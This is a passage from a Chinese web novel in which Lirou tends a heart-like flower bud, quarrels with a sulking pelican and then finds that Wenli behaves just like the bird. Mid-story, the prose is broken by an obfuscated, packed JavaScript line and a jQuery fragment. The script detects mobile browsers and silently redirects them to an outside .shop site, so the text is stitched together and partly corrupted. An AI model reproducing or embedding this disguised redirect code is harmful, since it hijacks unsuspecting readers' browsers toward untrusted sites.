“嘎嘎嘎嘎嘎——!”
身后的大鸟还在聒噪,璃舟担心它被冯保宗发现,抬手要握住它的嘴条子。
不想大鸟积攒了太多经验,已能提前预判璃舟的动作,它将头一歪,身体灵巧地从璃舟身下一钻,一溜烟跑到后院去了。
鹈鹕溜着墙根一路乱跑,忽然一歪头,咬住了地上的什么东西,跳着脚滚地撒泼。璃舟忙追上去,见它用大嘴夹住了院中的一颗花苞,当即给了它一顿暴栗。
“嘎啊——!”
鹈鹕脑袋上瞬间肿起好几个大栗子,又被璃舟掰开了大嘴,便顺势直挺挺地倒在璃舟怀里,阖着眼,脑袋一歪,又要死。
璃舟拍了拍它的鸟脸:“别装死了!你还想不想要鱼了?!”
鹈鹕继续装死,鸟皮膏药似地埋在她怀里,一动不动。
“装死也没用,你嘴这么大,我可没办法给你做人工呼吸!”
说完,璃舟将鹈鹕的胖身子挖出来,扔在了一边。
装死的鹈鹕将眼睛睁开了一条小缝,却见璃舟背着它蹲下身,正在低头察看那朵被它的大嘴摧残过的花苞,当即怒了!
嘎的!
在她心里,我还不如一朵破花!
嘎的嘎的嘎的——!
鹈鹕一气之下,决定要等璃舟不在的时候朝那破花苞吐口水!
于是它一个打挺从地上爬起来,用大嘴夹住璃舟的手,企图吸引她的注意。
不想璃舟却任着它胡闹,一双眼睛只低头看着那朵花苞,眉头微微皱起。
后院的这片土地光秃秃的,连棵狗尾巴草也长不出一根。
可这片荒地之上,此时却突兀地长出了一颗圆滚滚的花苞。
那只花苞被一枝光秃秃的花柄承托着,旁边连一片叶子也没有,花苞殷红如血,随风簌簌而动,简直就像——
一颗跳动的心脏。
那日之后,璃舟每天都会来后院观察这颗花苞。
那颗心脏般的花苞一直蒙在墙根的阴影处,没有光,也没人给它浇水,可它每日都在变大,变圆。
肉红色的一团,似乎是通过脐带似的花柄吮着不知谁的血,打远一看,竟仿佛是个红而多皱的婴孩。
它的身边仿佛永远吹绕着一股小风,花苞随着那阵小风轻轻摆动,一阵细微的声音混杂在风中,幽幽地传来。
咚......咚......咚.......
璃舟的眼神登时一变,竟仿佛真的听到了咚咚的心跳声。
但是,璃舟没有等到花开。
发现花苞的半个月后,花苞突然不见了。
璃舟忽然想起几日前,她摸黑捞鱼的时候,那只鹈鹕鸟鸟祟祟地绕到后院,不知在做什么坏事。
于是这一晚,她一把掐住鹈鹕的脖子,指着光秃秃的花柄道:“说,是不是你吃的?!”
鹈鹕拼命摇头,争辩道:“嘎嘎嘎——!”
我不过是趁你不在的时候对着它喷了喷口水,哪里敢吃它?!
璃舟看着那秃花柄,思索了一阵,花柄上还留着花托,如果真是鹈鹕吃的,那大嘴大概会直接连根拔起,怎么还会留下花柄呢?
“好吧,是我错怪你了。”璃舟松开了鹈鹕的脖子。
可鹈鹕竟也不撒泼了,它似乎真的生了气,扭过身,一屁股坐在地上,连嘎都不嘎了一声了。
“真的生气了?”璃舟将它的脑袋扳过来,可它却一抬翅子,打开了璃舟的手,扭过脸,继续用屁股对着她。
璃舟看着它凹凸不平的后脑勺,一时非常想笑。然而只得忍着笑,凑近了观察它的头毛。
它最近也不梳爆炸头了,脑袋上还留着她揍过的几个包,璃舟看着它的背影,后知后觉地意识到——
难道是因为这一脑袋大栗子,使它在母鹈鹕面前丢了面子,把它甩了,所以才没母鹈鹕给它梳爆炸头了?!
璃舟:“?!”
鹈鹕闷声硬坐着,决定这次一定不能那么轻易地哄好了!
心中这么想着,但屁股还是沉甸甸地稳坐在地上,感觉到璃舟的视线一直在它身后,心中一时有些发痒。
呵,女人!
这一次,又被自己如天鹅般的背影迷住了吗?!
我这该死的魅力......
温热的手指贴上它的后脑,从一个栗子抚向另一个栗子,激起一阵细细密密的痛痒。
鹈鹕当即鸟躯一震,身体化成了一滩水,没出息地软倒在璃舟怀里。
“要不我给你梳一个爆炸头吧。”
它听到璃舟的声音贴着它的耳朵传来。
鹈鹕瞠了眼睛,脑子登时一空。
璃舟要给它梳一个爆炸头?!?!
她之前说过,她以为这个头型是哪只喜欢它的母鹈鹕给它梳的!
所以说,给它梳爆炸头,四舍五入就是告白啊!
不......
这已经不止是告白了,简直就是求偶!
你们人类......尤其是母的人类都这么主动的嘛?!
怪不得和动物不一样,母人类要比公人类好看那么多!原来在人类中,主动求偶的都是她们吗?!
鹈鹕的脸腾地一热,几乎红成了一只火烈鸟。
就在鹈鹕犹自扭捏之时,却听璃舟道:“用头毛把你这一脑袋大栗子遮住,要不被母鹈鹕们看到了,以后丧失择偶权就糟了!”
鹈鹕:“......”
院子里一时陷入了死一般的寂静。
“喂,大鸟?!”璃舟见它瘪起嘴,似乎要哭。
“......”
“我是不是真的害你被母鹈鹕甩了?”璃舟忙道:“要不这样吧,我以后每天多给你捞几条鱼好不好?你带上几条,送给母鹈......”
“嘎啊——!”
话音未落,鹈鹕忽然暴出一阵凄厉惨叫,振翅一飞,一头扎进了林深处。
璃舟脸色一变,心想鹈鹕竟是真的生气了,连一条鱼都没吃就飞走了,于是赶忙追了上去。
然而跑了没多远,忽听得前方林中一阵沙沙的脚步声响,忙跑过去一看:“鹈......文狸?!”
见她脸上笑意一敛,文狸努着嘴道:“你那是什么表情?!看到我这么失望吗?”
“我有表现得这么明显吗?”
“也没有很明显啦!”文狸干巴巴地笑了一声:“好比是有个人被困迷宫,走了三天终于找到出口,打开门一看,门外竟蹲着一只饿了三天的老虎,他脸上的表情就和刚才的你一样。”
璃舟楞了楞,旋即噗嗤一声笑了出来:“抱歉抱歉,因为刚才我把鹈鹕气跑了,一时急着找它,你有没有看到......等等,你这脑袋怎么了?!”
文狸脸色登时一变,忙抬手捂住了自己的头:“啊没......没什么!”
“什么‘没什么’?!”璃舟皱起眉:“你怎么又和那只鹈鹕一样一脑袋大栗子?”
“啊......这......这个嘛......”文狸支支吾吾,说不出成句的话。
文狸后撤了一步,他扭着脑袋,避着璃舟的目光,不时地向后张望,似乎是想跑,然而又有话要说,四肢兀自忙乱了一通,深吸一口气,似乎终于下定了某种决心,硬着声音道:“好吧!既然你问了,我就告诉你......!”
“......?”
“其......其实......”
“其实?”
文狸涨红了脸:“其......其实我是......”
璃舟道:“你是......?!”
支吾了半晌,文狸终于脱口道:“其......其实是因为我非要给它找个母鹈鹕!所以它生气了!”
璃舟瞠了眼:“啊......?!”
“都怪我不好!”文狸一拍大腿,双手捂住脸,开始大放悲声:“这段时间我一直忙,都没时间看鹕干净,最近好不容易闲下来了,我担心它会寂寞,就想着找只母鹈鹕,给它做个伴......”
璃舟不解道:“这不是挺好的吗?!”
咔的一声,文狸几乎将自己的后槽牙咬碎了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544730|204085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他赶忙深吸了一口气,又徐徐地吐出来,这才稳住声音道:“你说的是!我甚至已经找了好几只貌美的母鹈鹕,把它们的照片和一根羽毛都带来了让鹕干净选。但是!我忘记了一件事!我家鹈鹕实在是太干净了!它宁死不屈,于是一气之下,给我叨了一脑袋包!”
璃舟:“......”
文狸从指缝间偷瞄着璃舟的表情,见她皱着眉若有所思的样子,不由心中一喜,抬起脸问:“怎么样?你理解了吗?”
“好像理解了一点,不过,它为什么不愿意呢?”璃舟思索了片刻,似乎忽然想到了什么,道:“对了,或许......”
“......?”
璃舟道:“或许......它喜欢公鹈鹕?我听说动物界会有这种行为......”
“不是!”文狸嘶声道:“好......好吧,其实我也给它找过公的,但是它也是一样的拒绝,你还没明白吗?”
璃舟又想了想:“难道......它爱上了其他物种的鸟?这也没什么吧?你有没有听过一句话,两情若是长久时,又岂在界门纲目......”
“不是!”文狸急得跳脚:“不是不是不是!”
璃舟:“......”
“啊......是我一直喜欢这样蹦,后来那鹈鹕学我!”文狸干笑着,默默收回了脚。
璃舟盯着文狸的眼睛,眉头皱得更深了。
怎么总觉得有哪里不对劲......
“我直接说结论吧!”文狸干咳一声,转了话题道:“根据我养了它这么多年的经验,它现在不肯接受任何配偶!所以你以后也不要跟它提母鹈鹕的事!”
“好吧,不过我提母鹈鹕之前,它就已经生气了,是我错怪了它,所以它一条鱼没吃就飞走了。”
“你放心吧,我家鹕干净还是很大度的。它只厌烦母鹈......对了,公鹈鹕也烦,它看见鸟就烦!总之,就算你揍了它,它至多一晚上就忘了,明天它就会来找你了!”
“那就好,”璃舟脸色缓了缓,又想起了什么,从衣袋里掏出一袋子鲜红的草莓:“它今天还没吃东西,我急着跑出来,只带了提前给它留出来的草莓,你帮我带给它吧。”
“有草莓?!”文狸看着袋子里鲜红的草莓,眼睛登时直了。
“之前看它盯着海报上的草莓贴画流口水,就让我哥买了一些......你.......”
文狸的眼睛仿佛被那袋子吸住了,他直愣愣地望着草莓,喉结上下一动,竟是狠狠咽了口唾沫。
见文狸一脸想吃的表情,璃舟拿出一只草莓:“你也可以尝一下,但是还没洗,你......”
话音未落,手指忽被什么湿软的东西一裹,璃舟瞳孔登时一缩,只见文狸躬下身,仰起脖子,竟就着她的手将草莓一口吞了!
璃舟:“......”
这是什么情况?!
虽然眼前文狸的表现十分陌生,可另一种熟悉的感觉自心底涌了出来。
璃舟一脸震惊地盯着文狸的脸,手上动作却很熟练地没有停,一连喂了他好几个,文狸一面嚼草莓,一面用余光扫着她的脸色,眼角恰到好处地露出了一点眼白,还时不时地抬起手,揩揩自己的唇角,仿佛唯恐上面沾了草莓汁。
他就这样就着璃舟的手,一气把袋子里的草莓都吃完了,接着,他再次揩了揩唇角,一歪头,张嘴轻轻咬了咬璃舟的手。
璃舟:“......?!?!”
璃舟此刻的表情活像见了鬼。
文狸一下下咬着璃舟的手,心中不由有些奇怪......
今天的咬感莫名有些不对?!就像比平日多长了一副牙齿似的......可是鹈鹕又没有牙齿......
等等......
我好像真的多了一副牙齿......
文狸嘴上的动作一停,他垂下眼,看着自己的人身,表情登时一凝,连忙吐出璃舟的手,怔怔地望着璃舟掌心一排排沾着口水的牙印,脸色一下子变了。